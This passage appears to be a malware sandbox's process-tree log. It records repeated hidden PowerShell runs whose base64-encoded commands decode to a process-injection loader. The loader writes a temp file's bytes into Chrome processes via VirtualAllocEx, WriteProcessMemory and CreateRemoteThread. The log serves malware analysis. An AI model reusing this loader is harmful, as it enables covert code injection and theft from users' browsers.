JACcALAAnAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwASQBuAHQAUAB0AHIAJwAsACcALgBaAGUAcgBvACkAOwAKAGkAZgAoAHQAPQA9AEkAbgB0AFAAJwAsACcAdAByAC4AWgBlAHIAbwApAHsAQwBsAG8AcwBlAEgAYQBuAGQAbAAnACwAJwBlACgAaAApADsAcgBlAHQAdQByAG4AIABmAGEAbABzAGUAOwB9ACcALAAnAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAJwAsACcAcgBuACAAdAByAHUAZQA7AH0AfQAKACIAQAAgAC0ATABhAG4AJwAsACcAZwB1AGEAZwBlACAAQwBTAGgAYQByAHAACgAkAGQAPQBbAEMAJwAsACcAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANAAnACwAJwBTAHQAcgBpAG4AZwAoACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACcALAAnACAALQBSAGEAdwAgACQAYgApACkACgBbAFgAXQA6ADoAUgAoACcALAAnAFsAdQBpAG4AdAAzADIAXQAkAGEALAAkAGQAKQAnACkAOwAgACQAcwBjAHIAaQBwAHQAIAA9ACAAJABmAHIAYQBnAG0AZQBuAHQAcwAgAC0AagBvAGkAbgAgACcAJwA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABzAGMAcgBpAHAAdAA=
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:1204
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:4204
                                                                                                                                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADQAMgAwADQAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADQAQwA0AEEALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:5244
                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2kkxmlpw\2kkxmlpw.cmdline"
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:4684
                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES619E.tmp" "c:\Users\Admin\AppData\Local\Temp\2kkxmlpw\CSCF0ADE1CDB2DB40018C8B7860D9F954F.TMP"
                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                        PID:3988
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:3156
                                                                                                                                                                                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADMAMQA1ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADUANgBEAEEALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:3276
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:1396
                                                                                                                                                                                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADEAMwA5ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADYAMgA1ADQALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AK